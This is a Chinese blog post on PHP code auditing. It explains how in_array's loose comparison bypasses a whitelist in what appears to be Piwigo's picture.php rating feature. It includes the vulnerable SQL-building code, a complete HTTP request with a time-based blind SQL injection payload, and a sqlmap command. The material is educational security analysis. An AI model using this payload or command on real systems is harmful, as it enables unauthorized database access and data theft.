PHP审计之in_array函数缺陷绕过

PHP审计之in_array函数缺陷绕过in_array函数函数使用in_array:(PHP4,PHP5,PHP7)功能:检查数组中是否存在某个值定义:boolin_a

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

PHP审计之in_array函数缺陷绕过

in_array函数

函数使用

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

设计缺陷

$haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE

in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php

代码审计

漏洞代码在picture.php中,

if (isset($_GET['action']))
{
  switch ($_GET['action'])
  {
    case 'add_to_favorites' :
          ...
               case 'rate' :
    {
   include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

获取action参数如果为rate的,则包含include/functions_rate.inc.php文件并且调用其中的rate_picture,并且传递页面的id值与post数据接受过来的rate。

rate_picture函数代码

function rate_picture($image_id, $rate)
{
  global $conf, $user;

  if (!isset($rate)
      or !$conf['rate']
      or !in_array($rate, $conf['rate_items']))
  {
    return false;
  }

判断$rate不为或者$conf[‘rate’]值存在,或in_array($rate, $conf['rate_items'])),则$rate值不在$conf['rate_items'])中则返回false。

PHP审计之in_array函数缺陷绕过

$conf['rate_items'] = array(0,1,2,3,4,5);

来到下面代码,下面代码中进行了sql语句的执行,并且了$rate内容进去。而$rate内容在前面的代码判断中是需要为array(0,1,2,3,4,5);数组内的int内容。

  $query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

而这时候就需要用到in_array的缺陷绕过。不然的话走到上面的判断in_array($rate, $conf['rate_items'])中地方就直接返回false,不往下走了。

POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

rate=1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3))
sqlmap -r 1.txt -p rate -v 3 --tech=T
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119838.html原文链接:https://javaforall.net

(0)
上一篇 2021年12月13日 下午4:00
下一篇 2021年12月13日 下午4:00


相关推荐

  • win10连接网络共享打印机出现709错误解决方法

    win10连接网络共享打印机出现709错误解决方法显示再次检查打印机名称 并确保打印机已连接到网络 网上的各种解决办法我都试过了比如重启 printspooler 等 用 IP 和计算机名称连接都试过就是没法连接到 后来发现解决办法就是删除新的更新补丁系统 这次我删除的是 KB 删除完重启在重新进行连接就可以了 指路 控制面板 系统与安全 程序 程序和功能 查看已安装的更新 删除所需要删除的补丁

    2026年3月17日
    1
  • hive sql 日期格式转换

    hive sql 日期格式转换TO CHAR 将日期类型 date 按照 format 指定的格式转成字符串 https helpcdn aliyun com document detail 48974 html section a2d rfm vdbstringto char datetime date string format 命令说明将日期类型 date 按照 format 指定的格式转成字符串 参数说明 date 必填 DATETIME 类型日期值 格式为 yyyy mm ddhh mi s format date

    2026年3月26日
    2
  • 基于新版DeepSeek V3,轻松开发大模型智能体Agent

    基于新版DeepSeek V3,轻松开发大模型智能体Agent

    2026年3月16日
    3
  • sql: 分组后按照分组规则拼接字符串 — group by与 group_concat()

    sql: 分组后按照分组规则拼接字符串 — group by与 group_concat()Markdown编辑器写博客小技巧本Markdown编辑器使用StackEdit修改而来,用它写博客,将会带来全新的体验哦:Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传LaTex数学公式UML序列图和流程图离线写博客导入导出Markdown文件丰富的快捷键快捷键加粗Ctrl+B斜体Ctrl+I引…

    2022年5月23日
    270
  • 微前端架构

    微前端架构一 前端 架构 发展史最初 前端是没有架构的 因为功能简单的代码没有架构可言 通过操作 DOM 就能完成的工作 不需要复杂的设计模式和代码管理机制 也就不需要架构来支撑起应用 前端开发的发展历史分为以下几个阶段 古典时期 由后端渲染出前端 HTML 用 Table 布局 用 CSS 进行简单的辅助 动效时期 前端开始编写一些简单的 JavaScript 脚本来做动画效果 如轮播广告 Ajax 异步通信时期 2005 年 Google 在诸多 Web 应用中使用了异步通信技术如 Google 地

    2026年3月20日
    2
  • SVN——SVN项目迁移到GIT

    svn有很多优点,但是git的出现对svn的冲击的确很大,现在很多公司项目的都迁移的git上了,下面是我自己在做svn迁移项目到git上面时候整理的一些资料。暂时就些整理这些,具体的操作如果有看不懂的,可以和我联系!右侧的qq号,欢迎一起探讨。 相关操作: 1:命令行执行##clone svn -> git 地址支持协议 : svn://, http://, https://. 注意这个 UR

    2022年2月25日
    55

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号